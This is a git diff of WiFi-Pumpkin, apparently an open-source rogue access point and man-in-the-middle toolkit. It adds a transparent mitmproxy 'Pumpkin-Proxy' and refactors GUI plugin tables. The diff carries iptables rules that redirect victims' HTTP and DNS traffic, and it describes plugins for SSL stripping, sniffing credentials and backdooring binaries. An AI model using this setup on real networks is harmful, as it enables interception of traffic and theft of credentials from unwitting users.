PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + class ProcessThreadScanner(threading.Thread): ''' thread for run airodump-ng backgroung and get data''' @@ -233,6 +254,26 @@ def run(self): def stop(self): reactor.callFromThread(reactor.stop) +class ThreadPumpkinProxy(QObject): + '''Thread: run Pumpkin-Proxy mitmproxy on brackground''' + send = pyqtSignal(object) + def __init__(self,session=None): + QObject.__init__(self) + self.session = session + + def start(self): + config = proxy.ProxyConfig(port=8080,mode='transparent') + print "[*] Pumpkin-Proxy running on port:8080 \n" + server = ProxyServer(config) + server.allow_reuse_address = True + self.m = MasterHandler(server,self.session) + self.m.run(self.send) + + def stop(self): + self.m.shutdown() + print 'Thread::[{}] successfully stopped.'.format(self.objectName()) + + class Thread_sslstrip(QThread): '''Thread: run sslstrip on brackground''' def __init__(self,port,plugins={},data= {},session=None): @@ -250,9 +291,9 @@ def run(self): killSessions = True spoofFavicon = False listenPort = self.port - from plugins.sslstrip.StrippingProxy import StrippingProxy - from plugins.sslstrip.URLMonitor import URLMonitor - from plugins.sslstrip.CookieCleaner import CookieCleaner + from plugins.external.sslstrip.StrippingProxy import StrippingProxy + from plugins.external.sslstrip.URLMonitor import URLMonitor + from plugins.external.sslstrip.CookieCleaner import CookieCleaner if self.loaderPlugins['plugins'] != None: self.plugins[self.loaderPlugins['plugins']].getInstance()._activated = True self.plugins[self.loaderPlugins['plugins']].getInstance().setInjectionCode( @@ -376,12 +417,12 @@ def run(self): #this whole msf loading process sucks. need to improve if args.msf_rc != "/tmp/tmp.rc" or stat("/tmp/tmp.rc").st_size != 0: - from plugins.sergio_proxy.plugins.StartMSF import launch_msf + from plugins.external.sergio_proxy import launch_msf launch_msf(args.msf_path,args.msf_rc,args.msf_user) - from plugins.sergio_proxy.sslstrip.StrippingProxy import StrippingProxy - from plugins.sergio_proxy.sslstrip.URLMonitor import URLMonitor - from plugins.sergio_proxy.sslstrip.CookieCleaner import CookieCleaner + from plugins.external.sergio_proxy.sslstrip.StrippingProxy import StrippingProxy + from plugins.external.sergio_proxy.sslstrip.URLMonitor import URLMonitor + from plugins.external.sergio_proxy.sslstrip.CookieCleaner import CookieCleaner URLMonitor.getInstance().setFaviconSpoofing(spoofFavicon) CookieCleaner.getInstance().setEnabled(killSessions) diff --git a/core/utils.py b/core/utils.py index 9c21869..7034431 100644 --- a/core/utils.py +++ b/core/utils.py @@ -49,7 +49,7 @@ def setEnable(self): return self.interface except Exception ,e: QMessageBox.information(self,'Monitor Mode', - 'mode on device %s.your card not supports monitor mode'%(self.interface)) + 'mode on device %s.your card does not support Monitor Mode'%(self.interface)) def setDisable(self): Popen(['ifconfig', self.interface, 'down']) Popen(['iwconfig', self.interface, 'mode','managed']) @@ -143,6 +143,7 @@ def exportHtml(unchecked={},sessionID='',dataLogger=[],APname=''): 'injectionPage': {'logs/AccessPoint/injectionPage.log':[]}, 'dnsspoofAP': {'logs/AccessPoint/dnsspoof.log':[]}, 'responder': {'logs/AccessPoint/responder.log':[]}, + 'pumpkinproxy': {'logs/AccessPoint/pumpkin-proxy.log':[]}, 'phishing': {'logs/Phishing/requests.log':[]},} if unchecked != {}: for key in unchecked.keys(): readFile.pop(key) diff --git a/core/widgets/notifications.py b/core/widgets/notifications.py new file mode 100644 index 0000000..3563326 --- /dev/null +++ b/core/widgets/notifications.py @@ -0,0 +1,85 @@ +from PyQt4 import QtCore, QtGui +""" +Description: + This program is a core for wifi-pumpkin.py. file which includes functionality + for notifications in main tab. + +Copyright: + Copyright (C) 2015-2016 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class ServiceNotify(QtGui.QLabel): + ''' notifications custom Qlabel widgets''' + def __init__(self,text,title,link=None,timeout=None): + QtGui.QLabel.__init__(self) + self.link = link + self.setAutoFillBackground(True) + self.timeoutTimer = QtCore.QTimer(self) + self.timeoutTimer.setSingleShot(True) + self.effect = QtGui.QGraphicsOpacityEffect(self) + self.setGraphicsEffect(self.effect) + self.setText(self.decoretorText(text, title)) + + # Fade in + self.animationIn = QtCore.QPropertyAnimation(self.effect, 'opacity') + self.animationIn.setDuration(300) + self.animationIn.setStartValue(0) + self.animationIn.setEndValue(1.0) + + # Fade out + self.animationOut = QtCore.QPropertyAnimation(self.effect, 'opacity') + self.animationOut.setDuration(300) + self.animationOut.setStartValue(1.0) + self.animationOut.setEndValue(0) + if timeout is not None: + self.timeoutTimer.setInterval(timeout) + self.animationIn.finished.connect(self.timeoutTimer.start) + self.timeoutTimer.timeout.connect(self.close) + self.setstylelabel() + self.linkActivated.connect(self.linkHandler) + self.setFixedHeight(50) + self.animationIn.start() + + def decoretorText(self,message, title, frmt='html'): + ''' set html message and check if link is enable''' + title = "
%s
" % title + message = title + '{}'.format(message) + if self.link != None: + message += "HERE".format(self.link) + return message + + def linkHandler(self, link): + ''' go to link donate ''' + if not QtGui.QDesktopServices.openUrl(QtCore.QUrl(link)): + QtGui.QMessageBox.warning(self, 'Open Url', 'Could not open url: {}'.format(link)) + + def setstylelabel(self): + ''' docorate label using stylesheet options ''' + color = '#996633' #ff6600 + border = 1 + padding = 2 + label_style = "; ".join(( + "color: #302F2F", + 'background-color: %s' % color, + "border-color: %s" % color, + "border: %dpx solid %s" % (border, color), + "padding: %dpx" % padding)) + self.setStyleSheet(label_style) + + def close(self): + ''' start effect fade out on Label ''' + self.animationOut.finished.connect(super(ServiceNotify, self).close) + self.animationOut.start() + diff --git a/core/widgets/pluginssettings.py b/core/widgets/pluginssettings.py index 486f1b4..54cf651 100644 --- a/core/widgets/pluginssettings.py +++ b/core/widgets/pluginssettings.py @@ -1,5 +1,6 @@ from configobj import ConfigObj,Section from collections import OrderedDict +import modules as GUI from core.loaders.models.PackagesUI import * class BDFProxySettings(PumpkinModule): @@ -194,6 +195,74 @@ def GUI(self): self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys()) self.TabSettings.verticalHeader().setDefaultSectionSize(23) + self.layout = QVBoxLayout(self.widget) + self.layoutGroup.addWidget(self.TabSettings) + self.layout.addWidget(self.GroupBox) + self.layout.addWidget(self.btnSave) + self.main.addWidget(self.widget) + self.setLayout(self.main) + +class PumpkinProxySettings(PumpkinModule): + def __init__(self,plugin,items,parent=None): + super(PumpkinProxySettings, self).__init__(parent) + self.setWindowTitle('Settings: {} '.format(plugin[4:])) + self.THeaders = {'Config':[],'Value':[] } + self.config = SettingsINI('core/config/app/proxy.ini') + self.loadtheme(self.configure.XmlThemeSelected()) + self.main = QVBoxLayout() + self.plugin_items = items + self.plugin_key = plugin + self.setGeometry(0,0,400, 250) + self.center() + self.GUI() + + def addRowTableWidget(self, _key, _value): + ''' add items into TableWidget ''' + Headers = [] + self.THeaders['Config'].append(_key) + self.THeaders['Value'].append(_value) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QTableWidgetItem(item) + item.setFlags(item.flags() | Qt.ItemIsEditable) + self.TabSettings.setItem(m, n, item) + self.TabSettings.resizeColumnToContents(0) + + def saveConfigObject(self): + ''' get all key and value and save ''' + data = [] + model = self.TabSettings.model() + for row in range(model.rowCount()): + data.append([]) + for column in range(model.columnCount()): + index = model.index(row, column) + data[row].append(str(model.data(index).toString())) + for key,item in data: + self.config.set_setting(self.plugin_key,key,item) + self.close() + + def GUI(self): + self.TabSettings = QTableWidget(len(self.plugin_items),2) + self.btnSave = QPushButton('Save settings') + self.GroupBox = QGroupBox(self) + self.widget = QWidget() + self.layoutGroup = QVBoxLayout(self.widget) + self.GroupBox.setLayout(self.layoutGroup) + self.GroupBox.setTitle('Options') + self.btnSave.clicked.connect(self.saveConfigObject) + self.TabSettings.resizeRowsToContents() + self.TabSettings.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.TabSettings.horizontalHeader().setStretchLastSection(True) + self.TabSettings.setSelectionBehavior(QAbstractItemView.SelectRows) + #self.TabSettings.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabSettings.verticalHeader().setVisible(False) + self.TabSettings.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabSettings.verticalHeader().setDefaultSectionSize(23) + + for item in self.plugin_items: + self.addRowTableWidget(item,self.config.get_setting(self.plugin_key,item)) + self.layout = QVBoxLayout(self.widget) self.layoutGroup.addWidget(self.TabSettings) self.layout.addWidget(self.GroupBox) diff --git a/core/widgets/popupmodels.py b/core/widgets/popupmodels.py index 7a338f6..e5e5e88 100644 --- a/core/widgets/popupmodels.py +++ b/core/widgets/popupmodels.py @@ -3,6 +3,7 @@ from PyQt4.QtGui import * from PyQt4.QtCore import * from core.utils import Refactor +from collections import OrderedDict from core.widgets.pluginssettings import BDFProxySettings,ResponderSettings """ Description: @@ -46,6 +47,7 @@ def __init__(self,FSettings,main,parent=None): self.check_netcreds = QCheckBox('net-creds ') self.check_responder = QCheckBox('Responder') + self.check_pumpkinProxy = QRadioButton('Pumpkin-Proxy') self.check_dns2proy = QRadioButton('SSLstrip+|Dns2proxy') self.check_sergioProxy = QRadioButton('SSLstrip|Sergio-proxy') self.check_bdfproxy = QRadioButton('BDFProxy-ng') @@ -58,9 +60,42 @@ def __init__(self,FSettings,main,parent=None): self.btnBDFSettings.clicked.connect(self.ConfigOBJBDFproxy) self.btnResponderSettings.clicked.connect(self.ConfigOBJBResponder) + # set text description plugins + self.check_dns2proy.setObjectName('This tools offer a different features ' + 'for post-explotation once you change the DNS server to a Victim. coded by: LeonardoNve') + self.check_sergioProxy.setObjectName('Sergio proxy is an HTTP proxy that was written ' + 'in Python for the Twisted framework. coded by: LeonardoNve') + self.check_bdfproxy.setObjectName('Patch Binaries via MITM: BackdoorFactory + mitmProxy, ' + 'bdfproxy-ng is a fork and review of the original BDFProxy. coded by: secretsquirrel.') + self.check_pumpkinProxy.setObjectName('Transparent proxy - intercepting HTTP data, ' + 'this proxy server that allows to intercept requests and response on the fly') + + # desction plugin checkbox + self.check_netcreds.setObjectName('Sniff passwords and hashes from an interface or pcap file.' + ' coded by: Dan McInerney') + self.check_responder.setObjectName('Responder an LLMNR, NBT-NS and MDNS poisoner. ' + 'By default, the tool will only answer to File Server Service request, which is for SMB.') + + + # table 1 for add plugins with QradioBtton + self.THeadersPluginsProxy = OrderedDict( + [ ('Plugins',[self.check_pumpkinProxy,self.check_dns2proy,self.check_sergioProxy,self.check_bdfproxy]), + ('Settings',[QPushButton('None'),QPushButton('None'),QPushButton('None'),self.btnBDFSettings]), + ('Description',[self.check_pumpkinProxy.objectName(), + self.check_dns2proy.objectName(),self.check_sergioProxy.objectName(), + self.check_bdfproxy.objectName()]) + ]) + + # table 2 for add plugins with checkbox + self.THeadersPlugins = OrderedDict( + [ ('Plugins',[self.check_netcreds,self.check_responder]), + ('Settings',[QPushButton('None'),self.btnResponderSettings]), + ('Description',[self.check_netcreds.objectName(),self.check_responder.objectName(),]) + ]) + self.tableplugins = QTableWidget() self.tableplugins.setColumnCount(3) - self.tableplugins.setRowCount(3) + self.tableplugins.setRowCount(len(self.THeadersPluginsProxy['Plugins'])) self.tableplugins.resizeRowsToContents() self.tableplugins.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) self.tableplugins.horizontalHeader().setStretchLastSection(True) @@ -69,15 +104,14 @@ def __init__(self,FSettings,main,parent=None): self.tableplugins.verticalHeader().setVisible(False) self.tableplugins.verticalHeader().setDefaultSectionSize(23) self.tableplugins.setSortingEnabled(True) - self.Headers = ('plugins','settings','Description') - self.tableplugins.setHorizontalHeaderLabels(self.Headers) + self.tableplugins.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys()) self.tableplugins.horizontalHeader().resizeSection(0,158) self.tableplugins.horizontalHeader().resizeSection(1,80) self.tableplugins.resizeRowsToContents() self.tableplugincheckbox = QTableWidget() self.tableplugincheckbox.setColumnCount(3) - self.tableplugincheckbox.setRowCount(2) + self.tableplugincheckbox.setRowCount(len(self.THeadersPlugins['Plugins'])) self.tableplugincheckbox.resizeRowsToContents() self.tableplugincheckbox.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) self.tableplugincheckbox.horizontalHeader().setStretchLastSection(True) @@ -86,54 +120,43 @@ def __init__(self,FSettings,main,parent=None): self.tableplugincheckbox.verticalHeader().setVisible(False) self.tableplugincheckbox.verticalHeader().setDefaultSectionSize(23) self.tableplugincheckbox.setSortingEnabled(True) - self.Headers = ('plugins','settings','Description') - self.tableplugincheckbox.setHorizontalHeaderLabels(self.Headers) + self.tableplugincheckbox.setHorizontalHeaderLabels(self.THeadersPlugins.keys()) self.tableplugincheckbox.horizontalHeader().resizeSection(0,158) self.tableplugincheckbox.horizontalHeader().resizeSection(1,80) self.tableplugincheckbox.resizeRowsToContents() - desc_dns2proxy = QTableWidgetItem() - desc_sergioproxy = QTableWidgetItem() - desc_bdfproxy = QTableWidgetItem() - desc_netcreds = QTableWidgetItem() - desc_responder = QTableWidgetItem() - - # set text description plugins - desc_dns2proxy.setText('This tools offer a different features ' - 'for post-explotation once you change the DNS server to a Victim. coded by: LeonardoNve') - desc_sergioproxy.setText('Sergio proxy is an HTTP proxy that was written ' - 'in Python for the Twisted framework. coded by: LeonardoNve') - desc_bdfproxy.setText('Patch Binaries via MITM: BackdoorFactory + mitmProxy, ' - 'bdfproxy-ng is a fork and review of the original BDFProxy. coded by: secretsquirrel.') - desc_netcreds.setText('Sniff passwords and hashes from an interface or pcap file. coded by: Dan McInerney') - desc_responder.setText('Responder an LLMNR, NBT-NS and MDNS poisoner. ' - 'By default, the tool will only answer to File Server Service request, which is for SMB.') - - self.tableplugins.setItem(0, 2, desc_dns2proxy) - self.tableplugins.setItem(1, 2, desc_sergioproxy) - self.tableplugins.setItem(2, 2, desc_bdfproxy) - self.tableplugins.setCellWidget(0,0,self.check_dns2proy) - self.tableplugins.setCellWidget(1,0,self.check_sergioProxy) - self.tableplugins.setCellWidget(2,0,self.check_bdfproxy) - self.tableplugins.setCellWidget(1,1,QPushButton('None')) - self.tableplugins.setCellWidget(2,1,self.btnBDFSettings) - self.tableplugins.setCellWidget(0,1,QPushButton('None')) - - # table 2 for add plugins with checkbox - self.tableplugincheckbox.setItem(0, 2, desc_netcreds) - self.tableplugincheckbox.setItem(1, 2, desc_responder) - self.tableplugincheckbox.setCellWidget(0,0,self.check_netcreds) - self.tableplugincheckbox.setCellWidget(1,0,self.check_responder) - self.tableplugincheckbox.setCellWidget(0,1,QPushButton('None')) - self.tableplugincheckbox.setCellWidget(1,1,self.btnResponderSettings) + # add all widgets in Qtable 1 plgins + Headers = [] + for n, key in enumerate(self.THeadersPluginsProxy.keys()): + Headers.append(key) + for m, item in enumerate(self.THeadersPluginsProxy[key]): + if type(item) == type(QRadioButton()) or type(item) == type(QPushButton()): + self.tableplugins.setCellWidget(m,n,item) + else: + item = QTableWidgetItem(item) + self.tableplugins.setItem(m, n, item) + self.tableplugins.setHorizontalHeaderLabels(self.THeadersPluginsProxy.keys()) + # add all widgets in Qtable 2 plugin + Headers = [] + for n, key in enumerate(self.THeadersPlugins.keys()): + Headers.append(key) + for m, item in enumerate(self.THeadersPlugins[key]): + if type(item) == type(QCheckBox()) or type(item) == type(QPushButton()): + self.tableplugincheckbox.setCellWidget(m,n,item) + else: + item = QTableWidgetItem(item) + self.tableplugincheckbox.setItem(m, n, item) + self.tableplugins.setHorizontalHeaderLabels(self.THeadersPlugins.keys()) self.proxyGroup = QButtonGroup() + self.proxyGroup.addButton(self.check_pumpkinProxy) self.proxyGroup.addButton(self.check_dns2proy) self.proxyGroup.addButton(self.check_sergioProxy) self.proxyGroup.addButton(self.check_noproxy) self.proxyGroup.addButton(self.check_bdfproxy) self.check_netcreds.clicked.connect(self.checkBoxNecreds) + self.check_pumpkinProxy.clicked.connect(self.checkGeneralOptions) self.check_dns2proy.clicked.connect(self.checkGeneralOptions) self.check_sergioProxy.clicked.connect(self.checkGeneralOptions) self.check_bdfproxy.clicked.connect(self.checkGeneralOptions) @@ -158,35 +181,29 @@ def checkGeneralOptions(self): self.unset_Rules('dns2proxy') self.unset_Rules('sslstrip') self.unset_Rules('bdfproxy') + self.FSettings.Settings.set_setting('plugins','pumpkinproxy_plugin',self.check_pumpkinProxy.isChecked()) + self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',self.check_sergioProxy.isChecked()) + self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',self.check_dns2proy.isChecked()) + self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',self.check_bdfproxy.isChecked()) + self.FSettings.Settings.set_setting('plugins','noproxy',self.check_noproxy.isChecked()) if self.check_sergioProxy.isChecked(): - self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',True) - self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','noproxy',False) - self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False) self.main_method.set_proxy_statusbar('SSLstrip|Sergio-proxy') self.set_sslStripRule() elif self.check_dns2proy.isChecked(): - self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',True) - self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','noproxy',False) - self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False) self.main_method.set_proxy_statusbar('SSLstrip+|Dns2-proxy') self.set_sslStripRule() self.set_Dns2proxyRule() elif self.check_bdfproxy.isChecked(): - self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',True) - self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','noproxy',False) self.main_method.set_proxy_statusbar('BDF-proxy-ng') self.unset_Rules('dns2proxy') self.unset_Rules('sslstrip') self.set_BDFproxyRule() + elif self.check_pumpkinProxy.isChecked(): + self.main_method.set_proxy_statusbar('Pumpkin-Proxy') + self.unset_Rules('dns2proxy') + self.unset_Rules('sslstrip') + self.set_PumpkinProxy() elif self.check_noproxy.isChecked(): - self.FSettings.Settings.set_setting('plugins','dns2proxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','sergioproxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','bdfproxy_plugin',False) - self.FSettings.Settings.set_setting('plugins','noproxy',True) self.main_method.set_proxy_statusbar('',disabled=True) self.unset_Rules('dns2proxy') self.unset_Rules('sslstrip') @@ -220,8 +237,8 @@ def optionsRules(self,type): 'sslstrip': str('iptables -t nat -A PREROUTING -p tcp'+ ' --destination-port 80 -j REDIRECT --to-port '+self.FSettings.redirectport.text()), 'dns2proxy':str('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53'), - 'bdfproxy':str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+ - str(self.FSettings.bdfProxy_port.value()))} + 'bdfproxy':str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080'), + 'PumpkinProxy' : str('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080')} return search[type] # set rules to sslstrip @@ -255,6 +272,17 @@ def set_BDFproxyRule(self): item.setSizeHint(QSize(30,30)) self.FSettings.ListRules.addItem(item) + def set_PumpkinProxy(self): + items = [] + for index in xrange(self.FSettings.ListRules.count()): + items.append(str(self.FSettings.ListRules.item(index).text())) + if self.optionsRules('PumpkinProxy') in items: + return + item = QListWidgetItem() + item.setText(self.optionsRules('PumpkinProxy')) + item.setSizeHint(QSize(30,30)) + self.FSettings.ListRules.addItem(item) + def unset_Rules(self,type): ''' remove rules from Listwidget in settings widget''' items = [] diff --git a/core/widgets/tabmodels.py b/core/widgets/tabmodels.py index 7a3be71..8310ace 100644 --- a/core/widgets/tabmodels.py +++ b/core/widgets/tabmodels.py @@ -1,11 +1,16 @@ -from proxy import * from os import path from PyQt4.QtGui import * from PyQt4.QtCore import * from datetime import datetime from core.utils import Refactor +from collections import OrderedDict from core.utility.threads import ThreadPopen from core.widgets.docks.dockmonitor import dockAreaAPI +from core.widgets.pluginssettings import PumpkinProxySettings +from core.utility.collection import SettingsINI +from plugins.external.scripts import * +from plugins.extension import * +from functools import partial """ Description: This program is a core for wifi-pumpkin.py. file which includes functionality @@ -27,12 +32,102 @@ along with this program. If not, see """ -class PumpkinProxy(QVBoxLayout): +class PumpkinMitmproxy(QVBoxLayout): + ''' settings Transparent Proxy ''' + sendError = pyqtSignal(str) + def __init__(self,main_method,parent = None): + super(PumpkinMitmproxy, self).__init__(parent) + self.mainLayout = QVBoxLayout() + self.config = SettingsINI('core/config/app/proxy.ini') + self.plugins = [] + self.main_method = main_method + self.bt_SettingsDict = {} + self.check_PluginDict = {} + self.search_all_ProxyPlugins() + #scroll area + self.scrollwidget = QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + self.TabPlugins = QTableWidget() + self.TabPlugins.setColumnCount(3) + self.TabPlugins.setRowCount(len(self.plugins)) + self.TabPlugins.resizeRowsToContents() + self.TabPlugins.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.TabPlugins.horizontalHeader().setStretchLastSection(True) + self.TabPlugins.setSelectionBehavior(QAbstractItemView.SelectRows) + self.TabPlugins.setEditTriggers(QAbstractItemView.NoEditTriggers) + self.TabPlugins.verticalHeader().setVisible(False) + self.TabPlugins.verticalHeader().setDefaultSectionSize(27) + self.TabPlugins.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Plugins',[]),('Settings',[]),('Description',[])]) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + self.TabPlugins.horizontalHeader().resizeSection(0,158) + self.TabPlugins.horizontalHeader().resizeSection(1,80) + + # get all plugins and add into TabWidget + Headers = [] + for plugin in self.plugins: + if plugin.ConfigParser: + self.bt_SettingsDict[plugin.Name] = QPushButton('Settings') + self.bt_SettingsDict[plugin.Name].clicked.connect(partial(self.setSettingsPlgins,plugin.Name)) + else: + self.bt_SettingsDict[plugin.Name] = QPushButton('None') + self.check_PluginDict[plugin.Name] = QCheckBox(plugin.Name) + self.check_PluginDict[plugin.Name].setObjectName(plugin.Name) + self.check_PluginDict[plugin.Name].clicked.connect(partial(self.setPluginOption,plugin.Name)) + self.THeaders['Plugins'].append(self.check_PluginDict[plugin.Name]) + self.THeaders['Settings'].append({'name': plugin.Name}) + self.THeaders['Description'].append(plugin.Description) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + if type(item) == type(QCheckBox()): + self.TabPlugins.setCellWidget(m,n,item) + elif type(item) == type(dict()): + self.TabPlugins.setCellWidget(m,n,self.bt_SettingsDict[item['name']]) + else: + item = QTableWidgetItem(item) + self.TabPlugins.setItem(m, n, item) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + + # check status all checkbox plugins + for box in self.check_PluginDict.keys(): + self.check_PluginDict[box].setChecked(self.config.get_setting('plugins',box,format=bool)) + + self.mainLayout.addWidget(self.TabPlugins) + self.layout = QHBoxLayout() + self.layout.addWidget(self.scroll) + self.addLayout(self.layout) + + def setPluginOption(self, name,status): + ''' get each plugins status''' + # enable realtime disable and enable plugin + if self.main_method.PopUpPlugins.check_pumpkinProxy.isChecked() and \ + self.main_method.FSettings.Settings.get_setting('accesspoint','statusAP',format=bool): + self.main_method.Thread_PumpkinProxy.m.disablePlugin(name, status) + self.config.set_setting('plugins',name,status) + + def setSettingsPlgins(self,plugin): + ''' open settings options for each plugins''' + key = 'set_{}'.format(plugin) + self.widget = PumpkinProxySettings(key,self.config.get_all_childname(key)) + self.widget.show() + + def search_all_ProxyPlugins(self): + ''' load all plugins function ''' + plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in plugin_classes: + self.plugins.append(p()) + +class ProxySSLstrip(QVBoxLayout): ''' settings Transparent Proxy ''' sendError = pyqtSignal(str) _PluginsToLoader = {'plugins': None,'Content':''} def __init__(self,popup,main_method,FsettingsUI=None,parent = None): - super(PumpkinProxy, self).__init__(parent) + super(ProxySSLstrip, self).__init__(parent) self.main_method = main_method self.popup = popup self.urlinjected= [] @@ -120,6 +215,7 @@ def __init__(self,popup,main_method,FsettingsUI=None,parent = None): self.addLayout(self.layout) def get_filenameToInjection(self): + ''' open file for injection plugin ''' filename = QFileDialog.getOpenFileName(None, 'load File','','HTML (*.html);;js (*.js);;css (*.css)') if len(filename) > 0: @@ -127,6 +223,7 @@ def get_filenameToInjection(self): QMessageBox.information(None, 'Scripts Loaders', 'file has been loaded with success.') def setPluginsActivated(self): + ''' check arguments for plugins ''' item = str(self.comboxBox.currentText()) if self.popup.check_dns2proy.isChecked() or self.popup.check_sergioProxy.isChecked(): if self.plugins[str(item)]._requiresArgs: @@ -145,6 +242,7 @@ def setPluginsActivated(self): '\nchoice the plugin options with sslstrip enabled.'.format(self.argsLabel.text())) def ProcessReadLogger(self): + '''function for read log injection proxy ''' if path.exists('logs/AccessPoint/injectionPage.log'): with open('logs/AccessPoint/injectionPage.log','w') as bufferlog: bufferlog.write(''), bufferlog.close() @@ -155,6 +253,7 @@ def ProcessReadLogger(self): QMessageBox.warning(self,'error proxy logger','Pump-Proxy::capture is not found') def GetloggerInjection(self,data): + ''' read load file and add in Qlistwidget ''' if Refactor.getSize('logs/AccessPoint/injectionPage.log') > 255790: with open('logs/AccessPoint/injectionPage.log','w') as bufferlog: bufferlog.write(''), bufferlog.close() @@ -164,6 +263,7 @@ def GetloggerInjection(self,data): self.log_inject.scrollToBottom() def readDocScripts(self,item): + ''' check type args for all plugins ''' try: self.docScripts.setText(self.plugins[str(item)].__doc__) if self.plugins[str(item)]._requiresArgs: @@ -181,6 +281,7 @@ def readDocScripts(self,item): pass def unsetPluginsConf(self): + ''' reset config for all plugins ''' if hasattr(self,'injectionThread'): self.injectionThread.stop() self._PluginsToLoader = {'plugins': None,'args':''} self.btnEnable.setEnabled(True) @@ -190,6 +291,7 @@ def unsetPluginsConf(self): self.urlinjected = [] def SearchProxyPlugins(self): + ''' search all plugins in directory plugins/external/proxy''' self.comboxBox.clear() self.plugin_classes = Plugin.PluginProxy.__subclasses__() self.plugins = {} @@ -280,7 +382,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.layoutDHCP = QFormLayout() self.layoutArea = QFormLayout() self.layoutbuttons = QHBoxLayout() - self.btnDefault = QPushButton('default') + self.btnDefault = QPushButton('Default') self.btnSave = QPushButton('save settings') self.btnSave.setIcon(QIcon('icons/export.png')) self.btnDefault.setIcon(QIcon('icons/settings.png')) @@ -300,7 +402,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.subnet = QLineEdit(self.FSettings.Settings.get_setting('dhcp','subnet')) self.broadcast = QLineEdit(self.FSettings.Settings.get_setting('dhcp','broadcast')) self.dhcpClassIP.currentIndexChanged.connect(self.dhcpClassIPClicked) - self.GroupDHCP.setTitle('DHCP-settings') + self.GroupDHCP.setTitle('DHCP-Settings') self.GroupDHCP.setLayout(self.layoutDHCP) self.layoutDHCP.addRow('Class Ranges',self.dhcpClassIP) self.layoutDHCP.addRow('default-lease-time',self.leaseTime_def) @@ -324,12 +426,14 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.CB_bdfproxy = QCheckBox('BDFProxy-ng') self.CB_dns2proxy = QCheckBox('Dns2Proxy') self.CB_responder = QCheckBox('Responder') + self.CB_pumpkinPro = QCheckBox('Pumpkin-Proxy') self.CB_ActiveMode.setChecked(self.FSettings.Settings.get_setting('dockarea','advanced',format=bool)) self.CB_Cread.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_credencials',format=bool)) self.CB_monitorURL.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_urlmonitor',format=bool)) self.CB_bdfproxy.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_bdfproxy',format=bool)) self.CB_dns2proxy.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_dns2proxy',format=bool)) self.CB_responder.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_responder',format=bool)) + self.CB_pumpkinPro.setChecked(self.FSettings.Settings.get_setting('dockarea','dock_PumpkinProxy',format=bool)) #connect self.doCheckAdvanced() @@ -339,6 +443,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.CB_bdfproxy.clicked.connect(self.doCheckAdvanced) self.CB_dns2proxy.clicked.connect(self.doCheckAdvanced) self.CB_responder.clicked.connect(self.doCheckAdvanced) + self.CB_pumpkinPro.clicked.connect(self.doCheckAdvanced) # group self.layoutArea.addRow(self.CB_ActiveMode) self.gridArea.addWidget(self.CB_monitorURL,0,0,) @@ -347,6 +452,7 @@ def __init__(self, parent=None,settingsAP=None,dockinfo=None,InitialMehtod=None, self.gridArea.addWidget(self.CB_bdfproxy,1,0) self.gridArea.addWidget(self.CB_dns2proxy,1,1) self.gridArea.addWidget(self.CB_responder,1,2) + self.gridArea.addWidget(self.CB_pumpkinPro,0,2) self.layoutArea.addRow(self.gridArea) self.GroupArea.setTitle('Activity Monitor settings') self.GroupArea.setLayout(self.layoutArea) @@ -408,23 +514,27 @@ def doCheckAdvanced(self): 